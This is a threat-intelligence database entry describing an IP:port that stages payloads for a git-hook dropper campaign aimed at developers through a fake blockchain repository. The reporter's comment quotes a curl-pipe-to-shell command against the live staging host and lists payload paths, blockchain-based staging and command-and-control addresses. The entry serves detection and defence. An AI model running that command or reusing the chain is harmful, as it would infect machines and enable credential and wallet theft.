🤲🏼 NEW | abuse.ch Community Hub! Earn recognition 🏅 for the malware intelligence you share, climb the leaderboards 📈, and connect with like-minded contributors who share your hunting focus 🤝. Ready to unlock your profile? Go to the Community Hub →

ThreatFox IOC Database

You are viewing the ThreatFox database entry for ip:port 84.200.33.163:80.

Database Entry


IOC ID:1943063
IOC: 84.200.33.163:80
IOC Type :ip:port
Threat Type :payload_delivery
Malware: ContagiousDrop
Confidence Level : Confidence level is high (100%)
Is compromised? : False
ASN:AS44066 DE-FIRSTCOLO
Country:- DE
First seen:2026-09-30 19:00:44 UTC
Last seen:never
UUID:fcfe688c-bcf5-11f1-a463-42010aa4000a
Reporter Anonymous
Reward 5 credits from ThreatFox
Tags:BSC ContagiousInterview git-hook NodeJS TRON XCTDH

Avatar
Anonymous
Staging server for the git-hook dropper chain (paths /302/302m, /302/302l, /302/302w, /302/tokenlinux.sh, /302/token.cmd, /302/parser.js, /302/package.json). Chain: malicious .git/hooks (post-checkout/pre-commit/pre-push) in fake 'Buzzol' blockchain repo (renamed Corda 4.15) sent to a developer -> curl http://84.200.33.163/302/302{m,l,w} | sh -> ~/.task/tokenlinux.sh -> Node 20.11.1 + parser.js -> TRON wallet TMpR4viF4xPeMAcgYDoF57ECAaDPpj1oXs (tx f1d8f489ea6ac58d954d3a9bbbf3c8032ae56547640ad371b2fe0eec949ae661, 2026-09-29) -> BSC tx 0x4e1c5867249c1768eff6e2467d1983ae92cb60d28345b8424b080df32f9cd770 (from 0x1f9eeaf3ebf612983e729b57c270cfdd90ef44dc) -> decrypted stage 4 -> C2 104.234.94.198:1144 / 107.182.130.226:1144.